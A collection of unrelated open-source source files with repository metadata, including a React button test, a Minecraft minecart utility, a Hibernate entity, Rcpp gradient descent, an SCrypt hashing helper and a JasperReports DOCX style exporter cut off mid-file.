tests/test_store.py
Python
gpl-3.0
7,270
/** @jsx React.DOM */ jest.dontMock('./../jsx/jestable/DeleteButton.js'); describe('DeleteButton', function() { it('creates a button that deletes keyword from the keyword list', function() { var React = require('react/addons'); var DeleteButton = require('./../jsx/jestable/DeleteButton.js'); var Ids = require('./../jsx/jestable/Ids.js'); var TestUtils = React.addons.TestUtils; var mockDelete = jest.genMockFn(); // Render a delete button in the document var deleteBtn = TestUtils.renderIntoDocument( <DeleteButton handleDelete={ mockDelete } itemText={ "itemText" } idNumber={0}/> ); // Verify that it has the correct id and class attributes var btn = TestUtils.findRenderedDOMComponentWithTag(deleteBtn, 'img'); expect(btn.getDOMNode().id).toEqual(Ids.extension + "-keyword-" + 0); expect(btn.getDOMNode().className).toEqual(Ids.extension + "-ui-clickable"); // Simulate a click and verify that it calls delete function TestUtils.Simulate.click(btn); expect(mockDelete.mock.calls.length).toBe(1); }); });
Reynslan/moggo
components/__tests__/DeleteButton-test.js
JavaScript
gpl-3.0
1,154
/* * This file is part of MinecartRevolution-Core. * Copyright (c) 2012 QuarterCode <http://www.quartercode.com/> * * MinecartRevolution-Core is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * MinecartRevolution-Core is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with MinecartRevolution-Core. If not, see <http://www.gnu.org/licenses/>. */ package com.quartercode.minecartrevolution.core.util.cart; import org.bukkit.Bukkit; import org.bukkit.Location; import org.bukkit.entity.Minecart; import org.bukkit.event.vehicle.VehicleDestroyEvent; import org.bukkit.util.Vector; import com.quartercode.minecartrevolution.core.util.Direction; public class MinecartUtil { public static double getSpeed(Minecart minecart) { Vector velocity = minecart.getVelocity(); if (velocity.getX() > 0) { return velocity.getX(); } else if (velocity.getX() < 0) { return -velocity.getX(); } else if (velocity.getZ() > 0) { return velocity.getZ(); } else if (velocity.getZ() < 0) { return -velocity.getZ(); } else { return 0; } } public static void setSpeed(Minecart minecart, double speed) { Vector velocity = minecart.getVelocity(); if (velocity.getX() > 0) { velocity.setX(speed); } else if (velocity.getX() < 0) { velocity.setX(-speed); } else if (velocity.getZ() > 0) { velocity.setZ(speed); } else if (velocity.getZ() < 0) { velocity.setZ(-speed); } minecart.setVelocity(velocity); } public static void addSpeed(Minecart minecart, double speed) { setSpeed(minecart, getSpeed(minecart) + speed); } public static void subtractSpeed(Minecart minecart, double speed) { addSpeed(minecart, -speed); } public static void multiplySpeed(Minecart minecart, double factor) { Vector velocity = minecart.getVelocity(); velocity.setX(velocity.getX() * factor); velocity.setZ(velocity.getZ() * factor); minecart.setVelocity(velocity); } public static void divideSpeed(Minecart minecart, double factor) { Vector velocity = minecart.getVelocity(); velocity.setX(velocity.getX() / factor); velocity.setZ(velocity.getZ() / factor); minecart.setVelocity(velocity); } public static void driveInDirection(Minecart minecart, Direction direction) { Vector velocity = minecart.getVelocity(); double speed = 0.3913788423600029; if (direction == Direction.SOUTH) { Location newLocation = minecart.getLocation(); newLocation.setZ(minecart.getLocation().getZ() - 1.0D); minecart.teleport(newLocation); velocity.setZ(-speed); } else if (direction == Direction.WEST) { Location newLocation = minecart.getLocation(); newLocation.setX(minecart.getLocation().getX() + 1.0D); minecart.teleport(newLocation); velocity.setX(speed); } else if (direction == Direction.NORTH) { Location newLocation = minecart.getLocation(); newLocation.setZ(minecart.getLocation().getZ() + 1.0D); minecart.teleport(newLocation); velocity.setZ(speed); } else if (direction == Direction.EAST) { Location newLocation = minecart.getLocation(); newLocation.setX(minecart.getLocation().getX() - 1.0D); minecart.teleport(newLocation); velocity.setX(-speed); } minecart.setVelocity(velocity); } public static boolean remove(Minecart minecart) { VehicleDestroyEvent event = new VehicleDestroyEvent(minecart, null); Bukkit.getPluginManager().callEvent(event); if (!event.isCancelled()) { minecart.remove(); } return event.isCancelled(); } private MinecartUtil() { } }
QuarterCode/MinecartRevolution
core/src/main/java/com/quartercode/minecartrevolution/core/util/cart/MinecartUtil.java
Java
gpl-3.0
4,595
package com.abm.mainet.water.domain; import java.util.Date; import javax.persistence.Column; import javax.persistence.Entity; import javax.persistence.FetchType; import javax.persistence.GeneratedValue; import javax.persistence.Id; import javax.persistence.JoinColumn; import javax.persistence.ManyToOne; import javax.persistence.Table; import org.hibernate.annotations.GenericGenerator; /** * @author deepika.pimpale * */ @Entity @Table(name = "TB_WT_CSMR_ADDITIONAL_OWNER") public class AdditionalOwnerInfo { @Id @GenericGenerator(name = "MyCustomGenerator", strategy = "com.abm.mainet.common.utility.SequenceIdGenerator") @GeneratedValue(generator = "MyCustomGenerator") @Column(name = "CAO_ID", precision = 12, scale = 0, nullable = false) private Long cao_id; @ManyToOne(fetch = FetchType.LAZY) @JoinColumn(name = "CS_IDN", nullable = false) private TbKCsmrInfoMH csIdn; @Column(name = "CAO_TITLE", length = 15, nullable = false) private String ownerTitle; @Column(name = "CAO_FNAME", length = 300, nullable = false) private String ownerFirstName; @Column(name = "CAO_MNAME", length = 300, nullable = true) private String ownerMiddleName; @Column(name = "CAO_LNAME", length = 300, nullable = true) private String ownerLastName; @Column(name = "CAO_ADDRESS", length = 1000, nullable = true) private String cao_address; @Column(name = "CAO_CONTACTNO", length = 50, nullable = true) private String cao_contactno; @Column(name = "CAO_NEW_TITLE", length = 10, nullable = false) private Long caoNewTitle; @Column(name = "CAO_NEW_FNAME", length = 300, nullable = false) private String caoNewFName; @Column(name = "CAO_NEW_MNAME", length = 300, nullable = true) private String caoNewMName; @Column(name = "CAO_NEW_LNAME", length = 300, nullable = true) private String caoNewLName; @Column(name = "CAO_NEW_ADDRESS", length = 1000, nullable = true) private String caoNewAddress; @Column(name = "CAO_NEW_CONTACTNO", length = 50, nullable = true) private String caoNewContactno; @Column(name = "CAO_NEW_GENDER", length = 10, nullable = true) private Long caoNewGender; @Column(name = "CAO_NEW_UID", length = 12, nullable = true) private Long caoNewUID; @Column(name = "APM_APPLICATION_ID", length = 16, nullable = true) private Long apmApplicationId; @Column(name = "ORGID", precision = 4, scale = 0, nullable = false) // comments : Organization id private Long orgid; @Column(name = "USER_ID", precision = 7, scale = 0, nullable = true) // comments : User id private Long userId; @Column(name = "LANG_ID", precision = 7, scale = 0, nullable = true) // comments : Language id private Long langId; @Column(name = "LMODDATE", nullable = true) // comments : Last Modification Date private Date lmoddate; @Column(name = "UPDATED_BY", precision = 7, scale = 0, nullable = true) // comments : User id who update the data private Long updatedBy; @Column(name = "UPDATED_DATE", nullable = true) // comments : Date on which data is going to update private Date updatedDate; @Column(name = "LG_IP_MAC", length = 100, nullable = true) // comments : stores ip information private String lgIpMac; @Column(name = "LG_IP_MAC_UPD", length = 100, nullable = true) // comments : stores ip information private String lgIpMacUpd; @Column(name = "CAO_GENDER", nullable = true) // comments : stores ip information private Long gender; @Column(name = "CAO_UID", length = 12, nullable = true) // comments : stores ip information private Long caoUID; @Column(name = "IS_DELETED", length = 1, nullable = true) private String isDeleted; public String[] getPkValues() { return new String[] { "WT", "TB_WT_CSMR_ADDITIONAL_OWNER", "CAO_ID" }; } public Long getCao_id() { return cao_id; } public void setCao_id(final Long cao_id) { this.cao_id = cao_id; } public String getCao_address() { return cao_address; } public void setCao_address(final String cao_address) { this.cao_address = cao_address; } public String getCao_contactno() { return cao_contactno; } public void setCao_contactno(final String cao_contactno) { this.cao_contactno = cao_contactno; } public Long getOrgid() { return orgid; } public void setOrgid(final Long orgid) { this.orgid = orgid; } public Long getUserId() { return userId; } public void setUserId(final Long userId) { this.userId = userId; } public Long getLangId() { return langId; } public void setLangId(final Long langId) { this.langId = langId; } public Date getLmoddate() { return lmoddate; } public void setLmoddate(final Date lmoddate) { this.lmoddate = lmoddate; } public Long getUpdatedBy() { return updatedBy; } public void setUpdatedBy(final Long updatedBy) { this.updatedBy = updatedBy; } public Date getUpdatedDate() { return updatedDate; } public void setUpdatedDate(final Date updatedDate) { this.updatedDate = updatedDate; } public String getLgIpMac() { return lgIpMac; } public void setLgIpMac(final String lgIpMac) { this.lgIpMac = lgIpMac; } public String getLgIpMacUpd() { return lgIpMacUpd; } public void setLgIpMacUpd(final String lgIpMacUpd) { this.lgIpMacUpd = lgIpMacUpd; } public TbKCsmrInfoMH getCsIdn() { return csIdn; } public void setCsIdn(final TbKCsmrInfoMH csIdn) { this.csIdn = csIdn; } public String getOwnerTitle() { return ownerTitle; } public void setOwnerTitle(final String ownerTitle) { this.ownerTitle = ownerTitle; } public String getOwnerFirstName() { return ownerFirstName; } public void setOwnerFirstName(final String ownerFirstName) { this.ownerFirstName = ownerFirstName; } public Long getCaoUID() { return caoUID; } public void setCaoUID(final Long caoUID) { this.caoUID = caoUID; } public Long getGender() { return gender; } public void setGender(final Long gender) { this.gender = gender; } public String getOwnerMiddleName() { return ownerMiddleName; } public void setOwnerMiddleName(final String ownerMiddleName) { this.ownerMiddleName = ownerMiddleName; } public String getOwnerLastName() { return ownerLastName; } public void setOwnerLastName(final String ownerLastName) { this.ownerLastName = ownerLastName; } public Long getCaoNewTitle() { return caoNewTitle; } public void setCaoNewTitle(final Long caoNewTitle) { this.caoNewTitle = caoNewTitle; } public String getCaoNewFName() { return caoNewFName; } public void setCaoNewFName(final String caoNewFName) { this.caoNewFName = caoNewFName; } public String getCaoNewMName() { return caoNewMName; } public void setCaoNewMName(final String caoNewMName) { this.caoNewMName = caoNewMName; } public String getCaoNewLName() { return caoNewLName; } public void setCaoNewLName(final String caoNewLName) { this.caoNewLName = caoNewLName; } public String getCaoNewAddress() { return caoNewAddress; } public void setCaoNewAddress(final String caoNewAddress) { this.caoNewAddress = caoNewAddress; } public String getCaoNewContactno() { return caoNewContactno; } public void setCaoNewContactno(final String caoNewContactno) { this.caoNewContactno = caoNewContactno; } public Long getCaoNewGender() { return caoNewGender; } public void setCaoNewGender(final Long caoNewGender) { this.caoNewGender = caoNewGender; } public Long getCaoNewUID() { return caoNewUID; } public void setCaoNewUID(final Long caoNewUID) { this.caoNewUID = caoNewUID; } public Long getApmApplicationId() { return apmApplicationId; } public void setApmApplicationId(final Long apmApplicationId) { this.apmApplicationId = apmApplicationId; } /** * @return the isDeleted */ public String getIsDeleted() { return isDeleted; } /** * @param isDeleted the isDeleted to set */ public void setIsDeleted(final String isDeleted) { this.isDeleted = isDeleted; } }
abmindiarepomanager/ABMOpenMainet
Mainet1.1/MainetServiceParent/MainetServiceWater/src/main/java/com/abm/mainet/water/domain/AdditionalOwnerInfo.java
Java
gpl-3.0
9,175
// This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. #include <RcppArmadillo.h> // do not include Rcpp.h! #include <RcppEigen.h> // [[Rcpp::depends(RcppArmadillo)]] // [[Rcpp::depends(RcppEigen)]] using namespace Rcpp; using namespace arma; using namespace Eigen; // [[Rcpp::export]] Rcpp::List GD_Cpp_eigen(NumericVector &YR, NumericMatrix &XR, NumericMatrix &thetaR, double alpha = 1, int max_iterations = 1000) { const Map<MatrixXd> X(as<Map<MatrixXd> >(XR)); Map<MatrixXd> theta(as<Map<MatrixXd> >(thetaR)); const Map<VectorXd> Y(as<Map<VectorXd> >(YR)); int nrows = X.rows(), kcols = X.cols(); double oldCost = ((X * theta - Y).array().pow(2).sum() * 0.5 / nrows); MatrixXd error; MatrixXd delta = MatrixXd::Ones(kcols, 1); double trialCost; MatrixXd trialTheta = theta - alpha * delta; double max_delta = delta.array().abs().maxCoeff(); int iteration = 0; while (max_delta > 1e-5) { error = X * theta - Y; delta = X.transpose() * error / nrows; max_delta = delta.array().abs().maxCoeff(); trialTheta = theta - alpha * delta; trialCost = ((X * trialTheta - Y).array().pow(2).sum() * 0.5 / nrows); while ((trialCost >= oldCost)) { trialTheta = (theta + trialTheta) * 0.5; trialCost = ((X * trialTheta - Y).array().pow(2).sum() * 0.5 / nrows); } oldCost = trialCost; theta = trialTheta; iteration = iteration + 1; if (iteration == max_iterations) break; } return Rcpp::List::create(Rcpp::Named("Cost") = oldCost, Rcpp::Named("theta") = theta); } // [[Rcpp::export]] Rcpp::List GD_Cpp_arma(const colvec &Y, const mat &X, mat &theta, double alpha = 1, int max_iterations = 1000) { int nrows = X.n_rows, kcols = X.n_cols; mat delta; delta.ones(kcols); double oldCost = sum(pow(X * theta - Y, 2)) * 0.5 / nrows; mat max_matrix = max(abs(delta)); mat error(nrows, kcols); mat trialTheta(kcols, 1) ; double trialCost; int iteration = 0; while (max_matrix(0, 0) > 1e-5) { error = X * theta - Y; delta = X.t() * error / nrows; max_matrix = max(abs(delta)); trialTheta = theta - alpha * delta; trialCost = sum(pow(X * trialTheta - Y, 2)) * 0.5 / nrows; while (trialCost >= oldCost) { trialTheta = (theta + trialTheta) * 0.5; trialCost = sum(pow(X * trialTheta - Y, 2)) * 0.5 / nrows; } oldCost = trialCost; theta = trialTheta; iteration = iteration + 1; if (iteration == max_iterations) break; } return Rcpp::List::create(Rcpp::Named("Cost") = oldCost, Rcpp::Named("theta") = theta); }
costis-t/smallProjects
SR_TMOI_GradientDescent/Gradient_Descent_Challenge.cpp
C++
gpl-3.0
3,125
class AddExplicitExpirationToUnavailableFors < ActiveRecord::Migration[6.0] def change add_column :unavailable_as_candidate_fors, :expires_at, :datetime, index: true end end
greenriver/boston-cas
db/migrate/20200312133258_add_explicit_expiration_to_unavailable_fors.rb
Ruby
gpl-3.0
182
/** Copyright (C) 2014 www.cybersearch2.com.au This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/> */ package au.com.cybersearch2.classy_logic.tutorial18; import java.io.File; import au.com.cybersearch2.classy_logic.JavaTestResourceEnvironment; import au.com.cybersearch2.classy_logic.ProviderManager; import au.com.cybersearch2.classy_logic.QueryParams; import au.com.cybersearch2.classy_logic.QueryProgram; import au.com.cybersearch2.classy_logic.expression.ExpressionException; import au.com.cybersearch2.classy_logic.interfaces.SolutionHandler; import au.com.cybersearch2.classy_logic.parser.FileAxiomProvider; import au.com.cybersearch2.classy_logic.pattern.Axiom; import au.com.cybersearch2.classy_logic.query.QueryExecutionException; import au.com.cybersearch2.classy_logic.query.Solution; import au.com.cybersearch2.classy_logic.terms.Parameter; /** * ForeignColors * Demonstrates Choice selection terms consisting of local axiom terms for locale-sensitive matching of values. * The Choice selects a color swatch by name in the language of the locale. * @author Andrew Bowley * 17 Mar 2015 */ public class ForeignColors { static final String FOREIGN_LEXICON = "list<term> german_list(german.colors : resource);\n" + "list<term> french_list(french.colors : resource);\n" + "scope french (language=\"fr\", region=\"FR\"){}\n" + "scope german (language=\"de\", region=\"DE\"){}\n" + "axiom french.colors (aqua, black, blue, white)\n" + " {\"bleu vert\", \"noir\", \"bleu\", \"blanc\"};\n" + "axiom german.colors (aqua, black, blue, white)\n" + " {\"Wasser\", \"schwarz\", \"blau\", \"weiß\"};\n" + "query color_query (german.colors:german.colors) >> (french.colors:french.colors);\n"; static final String FOREIGN_COLORS = "axiom colors (aqua, black, blue, white);\n" + "axiom german.colors (aqua, black, blue, white) : resource;\n" + "axiom french.colors (aqua, black, blue, white) : resource;\n" + "local select(colors);\n" + "choice swatch (name, red, green, blue)\n" + "{select[aqua], 0, 255, 255}\n" + "{select[black], 0, 0, 0}\n" + "{select[blue], 0, 0, 255}\n" + "{select[white], 255, 255, 255};\n" + "axiom shade (name) : parameter;\n" + "scope french (language=\"fr\", region=\"FR\")\n" + "{\n" + " query color_query (shade : swatch);\n" + "}" + "scope german (language=\"de\", region=\"DE\")\n" + "{\n" + " query color_query (shade : swatch);\n" + "}"; /** ProviderManager is Axiom source for eXPL compiler */ private ProviderManager providerManager; private static FileAxiomProvider[] fileAxiomProviders; public ForeignColors() { providerManager = new ProviderManager(); File testPath = new File(JavaTestResourceEnvironment.DEFAULT_RESOURCE_LOCATION); if (!testPath.exists()) testPath.mkdir(); fileAxiomProviders = new FileAxiomProvider[2]; fileAxiomProviders[0] = new FileAxiomProvider("german.colors", testPath); fileAxiomProviders[1] = new FileAxiomProvider("french.colors", testPath); for (FileAxiomProvider provider: fileAxiomProviders) providerManager.putAxiomProvider(provider); } public void createForeignLexicon() { QueryProgram queryProgram = new QueryProgram(providerManager); queryProgram.parseScript(FOREIGN_LEXICON); try { queryProgram.executeQuery("color_query", new SolutionHandler(){ @Override public boolean onSolution(Solution solution) { System.out.println(solution.getAxiom("german.colors").toString()); System.out.println(solution.getAxiom("french.colors").toString()); return true; }}); } finally { fileAxiomProviders[0].close(); fileAxiomProviders[1].close(); } } /** * Compiles the GERMAN_COLORS script and runs the "color_query" query, displaying the solution on the console. * @return AxiomTermList iterator containing the final Calculator solution */ public String getColorSwatch(String language, String name) { QueryProgram queryProgram = new QueryProgram(providerManager); queryProgram.parseScript(FOREIGN_COLORS); // Create QueryParams object for Global scope and query "stamp_duty_query" QueryParams queryParams = queryProgram.getQueryParams(language, "color_query"); // Add a shade Axiom with a specified color term // This axiom goes into the Global scope and is removed at the start of the next query. Solution initialSolution = queryParams.getInitialSolution(); initialSolution.put("shade", new Axiom("shade", new Parameter("name", name))); final StringBuilder builder = new StringBuilder(); queryParams.setSolutionHandler(new SolutionHandler(){ @Override public boolean onSolution(Solution solution) { builder.append(solution.getAxiom("swatch").toString()); return true; }}); queryProgram.executeQuery(queryParams); return builder.toString(); } /** * Run tutorial * The expected result:<br/> colors(aqua = Wasser, black = schwarz, blue = blau, white = weiß)<br/> colors(aqua = bleu vert, black = noir, blue = bleu, white = blanc)<br/> swatch(name = Wasser, red = 0, green = 255, blue = 255)<br/> swatch(name = schwarz, red = 0, green = 0, blue = 0)<br/> swatch(name = weiß, red = 255, green = 255, blue = 255)<br/> swatch(name = blau, red = 0, green = 0, blue = 255)<br/> * @param args */ public static void main(String[] args) { try { ForeignColors foreignColors = new ForeignColors(); foreignColors.createForeignLexicon(); System.out.println(foreignColors.getColorSwatch("french", "bleu vert")); System.out.println(foreignColors.getColorSwatch("french", "noir")); System.out.println(foreignColors.getColorSwatch("french", "blanc")); System.out.println(foreignColors.getColorSwatch("french", "bleu")); System.out.println(foreignColors.getColorSwatch("german", "Wasser")); System.out.println(foreignColors.getColorSwatch("german", "schwarz")); System.out.println(foreignColors.getColorSwatch("german", "weiß")); System.out.println(foreignColors.getColorSwatch("german", "blau")); } catch (ExpressionException e) { e.printStackTrace(); System.exit(1); } catch (QueryExecutionException e) { e.printStackTrace(); System.exit(1); } finally { fileAxiomProviders[0].close(); fileAxiomProviders[1].close(); } System.exit(0); } }
andrew-bowley/xpl
tutorial/src/main/java/au/com/cybersearch2/classy_logic/tutorial18/ForeignColors.java
Java
gpl-3.0
7,706
/* Copyright 2015 Philipp Adam, Manuel Caspari, Nicolas Lukaschek contact@ravenapp.org This file is part of Raven. Raven is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Raven is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Raven. If not, see <http://www.gnu.org/licenses/>. */ package hash; import java.security.SecureRandom; import org.spongycastle.crypto.generators.SCrypt; public class ScryptTool { public static byte [] hash(byte [] plain, byte [] salt){ return SCrypt.generate(plain, salt, 16384, 8, 1, 64); // Colin Percival default values } public static byte [] hash(String plain, String salt){ return SCrypt.generate(plain.getBytes(), salt.getBytes(), 16384, 8, 1, 64); // Colin Percival default values } public static byte [] hashLow(byte [] plain, byte [] salt){ return SCrypt.generate(plain, salt, 8192, 8, 1, 64); } public static byte [] hashLow(String plain, String salt){ return SCrypt.generate(plain.getBytes(), salt.getBytes(), 8192, 8, 1, 64); } public static byte [] hashUltraLow(byte [] plain, byte [] salt){ return SCrypt.generate(plain, salt, 4096, 8, 1, 64); // } public static byte [] hashUltraLow(String plain, String salt){ return SCrypt.generate(plain.getBytes(), salt.getBytes(), 4096, 8, 1, 64); } public static byte [] generateSalt(int length){ byte [] erg = new byte[length]; SecureRandom random = new SecureRandom(); random.nextBytes(erg); return erg; } }
manuelsc/Raven-Messenger
Raven Core/src/hash/ScryptTool.java
Java
gpl-3.0
1,890
package cn.ac.rcpa.bio.proteomics.filter; import cn.ac.rcpa.bio.proteomics.IIdentifiedPeptide; import cn.ac.rcpa.bio.proteomics.IIdentifiedPeptideHit; import cn.ac.rcpa.filter.IFilter; public class IdentifiedPeptideHitFilterByPeptideFilter implements IFilter<IIdentifiedPeptideHit> { private IFilter<IIdentifiedPeptide> pepFilter; public IdentifiedPeptideHitFilterByPeptideFilter(IFilter<IIdentifiedPeptide> pepFilter) { this.pepFilter = pepFilter; } public boolean accept(IIdentifiedPeptideHit e) { return e.getPeptideCount() > 0 && pepFilter.accept(e.getPeptide(0)); } public String getType() { return pepFilter.getType(); } }
shengqh/RcpaBioJava
src/cn/ac/rcpa/bio/proteomics/filter/IdentifiedPeptideHitFilterByPeptideFilter.java
Java
gpl-3.0
695
package it.unibas.lunatic.test.mc.dbms.basicscenario; import it.unibas.lunatic.Scenario; import it.unibas.lunatic.model.chase.chasemc.operators.ChaseMCScenario; import it.unibas.lunatic.model.chase.chasemc.DeltaChaseStep; import it.unibas.lunatic.model.chase.commons.operators.ChaserFactoryMC; import it.unibas.lunatic.test.References; import it.unibas.lunatic.test.UtilityTest; import it.unibas.lunatic.test.checker.CheckExpectedSolutionsTest; import junit.framework.Assert; import org.slf4j.Logger; import org.slf4j.LoggerFactory; public class TestSQLPersons extends CheckExpectedSolutionsTest { private static Logger logger = LoggerFactory.getLogger(TestSQLPersons.class); public void testScenarioNoPermutation() throws Exception { Scenario scenario = UtilityTest.loadScenarioFromResources(References.persons_dbms, true); setConfigurationForTest(scenario); scenario.getCostManagerConfiguration().setDoBackward(false); scenario.getCostManagerConfiguration().setDoPermutations(false); ChaseMCScenario chaser = ChaserFactoryMC.getChaser(scenario); DeltaChaseStep result = chaser.doChase(scenario); if (logger.isDebugEnabled()) logger.debug("Scenario " + getTestName("persons", scenario)); if (logger.isDebugEnabled()) logger.debug(result.toStringWithSort()); if (logger.isDebugEnabled()) logger.debug("Number of solutions: " + resultSizer.getPotentialSolutions(result)); if (logger.isDebugEnabled()) logger.debug("Number of duplicate solutions: " + resultSizer.getDuplicates(result)); Assert.assertEquals(1, resultSizer.getPotentialSolutions(result)); checkSolutions(result); checkExpectedSolutions("expected-nop", result); } public void testScenario() throws Exception { Scenario scenario = UtilityTest.loadScenarioFromResources(References.persons_dbms, true); if (logger.isDebugEnabled()) logger.debug(scenario.toString()); setConfigurationForTest(scenario); ChaseMCScenario chaser = ChaserFactoryMC.getChaser(scenario); DeltaChaseStep result = chaser.doChase(scenario); // if (logger.isDebugEnabled()) logger.debug("Scenario " + getTestName("persons", scenario)); if (logger.isDebugEnabled()) logger.debug(scenario.toString()); if (logger.isDebugEnabled()) logger.debug(result.toStringWithSort()); if (logger.isDebugEnabled()) logger.debug("Number of solutions: " + resultSizer.getPotentialSolutions(result)); if (logger.isDebugEnabled()) logger.debug("Number of duplicate solutions: " + resultSizer.getDuplicates(result)); Assert.assertEquals(9, resultSizer.getPotentialSolutions(result)); checkSolutions(result); checkExpectedSolutions("expectedPersons", result); } public void testScenarioNoPermutationNonSymmetric() throws Exception { Scenario scenario = UtilityTest.loadScenarioFromResources(References.persons_dbms, true); setConfigurationForTest(scenario); scenario.getConfiguration().setUseSymmetricOptimization(false); scenario.getCostManagerConfiguration().setDoBackward(false); scenario.getCostManagerConfiguration().setDoPermutations(false); ChaseMCScenario chaser = ChaserFactoryMC.getChaser(scenario); DeltaChaseStep result = chaser.doChase(scenario); if (logger.isDebugEnabled()) logger.debug("Scenario " + getTestName("persons", scenario)); if (logger.isDebugEnabled()) logger.debug(result.toStringWithSort()); if (logger.isDebugEnabled()) logger.debug("Number of solutions: " + resultSizer.getPotentialSolutions(result)); if (logger.isDebugEnabled()) logger.debug("Number of duplicate solutions: " + resultSizer.getDuplicates(result)); Assert.assertEquals(1, resultSizer.getPotentialSolutions(result)); checkSolutions(result); checkExpectedSolutions("expected-nop", result); } public void testScenarioNonSymmetric() throws Exception { Scenario scenario = UtilityTest.loadScenarioFromResources(References.persons_dbms, true); if (logger.isDebugEnabled()) logger.debug(scenario.toString()); setConfigurationForTest(scenario); scenario.getConfiguration().setUseSymmetricOptimization(false); ChaseMCScenario chaser = ChaserFactoryMC.getChaser(scenario); DeltaChaseStep result = chaser.doChase(scenario); if (logger.isDebugEnabled()) logger.debug(scenario.toString()); if (logger.isDebugEnabled()) logger.debug(result.toStringWithSort()); if (logger.isDebugEnabled()) logger.debug("Number of solutions: " + resultSizer.getPotentialSolutions(result)); if (logger.isDebugEnabled()) logger.debug("Number of duplicate solutions: " + resultSizer.getDuplicates(result)); Assert.assertEquals(9, resultSizer.getPotentialSolutions(result)); checkSolutions(result); checkExpectedSolutions("expectedPersons", result); } }
donatellosantoro/Llunatic
lunaticEngine/test/it/unibas/lunatic/test/mc/dbms/basicscenario/TestSQLPersons.java
Java
gpl-3.0
4,992
/* * JasperReports - Free Java Reporting Library. * Copyright (C) 2001 - 2014 TIBCO Software Inc. All rights reserved. * http://www.jaspersoft.com * * Unless you have purchased a commercial license agreement from Jaspersoft, * the following license terms apply: * * This program is part of JasperReports. * * JasperReports is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * JasperReports is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with JasperReports. If not, see <http://www.gnu.org/licenses/>. */ package net.sf.jasperreports.engine.export.ooxml; import java.io.Writer; import java.util.List; import net.sf.jasperreports.engine.JRStyle; import net.sf.jasperreports.engine.JasperPrint; import net.sf.jasperreports.engine.JasperReportsContext; import net.sf.jasperreports.engine.design.JRDesignStyle; import net.sf.jasperreports.engine.util.JRDataUtils; import net.sf.jasperreports.engine.util.JRStyleResolver; import net.sf.jasperreports.export.ExporterInput; import net.sf.jasperreports.export.ExporterInputItem; /** * @author Teodor Danciu (teodord@users.sourceforge.net) */ public class DocxStyleHelper extends BaseHelper { /** * */ private DocxParagraphHelper paragraphHelper; private DocxRunHelper runHelper; /** * */ public DocxStyleHelper(JasperReportsContext jasperReportsContext, Writer writer, String exporterKey) { super(jasperReportsContext, writer); paragraphHelper = new DocxParagraphHelper(jasperReportsContext, writer, false); runHelper = new DocxRunHelper(jasperReportsContext, writer, exporterKey); } /** * */ public void export(ExporterInput exporterInput) { write("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n"); write("<w:styles\n"); write(" xmlns:r=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships\"\n"); write(" xmlns:w=\"http://schemas.openxmlformats.org/wordprocessingml/2006/main\">\n"); write(" <w:docDefaults>\n"); write(" <w:rPrDefault>\n"); //write(" <w:rPr>\n"); //write(" <w:rFonts w:ascii=\"Times New Roman\" w:eastAsia=\"Times New Roman\" w:hAnsi=\"Times New Roman\" w:cs=\"Times New Roman\"/>\n"); //write(" </w:rPr>\n"); write(" </w:rPrDefault>\n"); write(" <w:pPrDefault>\n"); write(" <w:pPr>\n"); write(" <w:spacing w:line=\"" + DocxParagraphHelper.LINE_SPACING_FACTOR + "\"/>\n"); write(" </w:pPr>\n"); write(" </w:pPrDefault>\n"); write(" </w:docDefaults>\n"); List<ExporterInputItem> items = exporterInput.getItems(); for(int reportIndex = 0; reportIndex < items.size(); reportIndex++) { ExporterInputItem item = items.get(reportIndex); JasperPrint jasperPrint = item.getJasperPrint(); String localeCode = jasperPrint.getLocaleCode(); if (reportIndex == 0) { JRDesignStyle style = new JRDesignStyle(); style.setName("EMPTY_CELL_STYLE"); style.setParentStyle(jasperPrint.getDefaultStyle()); style.setFontSize(0f); exportHeader(style); paragraphHelper.exportProps(style); runHelper.exportProps(style, (localeCode == null ? null : JRDataUtils.getLocale(localeCode)));//FIXMEDOCX reuse exporter exportFooter(); } JRStyle[] styles = jasperPrint.getStyles(); if (styles != null) { for(int i = 0; i < styles.length; i++) { JRStyle style = styles[i]; exportHeader(style); paragraphHelper.exportProps(style); runHelper.exportProps(style, (localeCode == null ? null : JRDataUtils.getLocale(localeCode)));//FIXMEDOCX reuse exporter exportFooter(); } } } write("</w:styles>\n"); } /** * */ private void exportHeader(JRStyle style) { //write(" <w:style w:type=\"paragraph\" w:default=\"1\" w:styleId=\"" + style.getName() + "\">\n"); write(" <w:style w:type=\"paragraph\" w:styleId=\"" + style.getName() + "\""); if (style.isDefault()) { write(" w:default=\"1\""); } write(">\n"); write(" <w:name w:val=\"" + style.getName() + "\" />\n"); write(" <w:qFormat />\n"); JRStyle baseStyle = JRStyleResolver.getBaseStyle(style); String styleNameReference = baseStyle == null ? null : baseStyle.getName(); //javadoc says getStyleNameReference is not 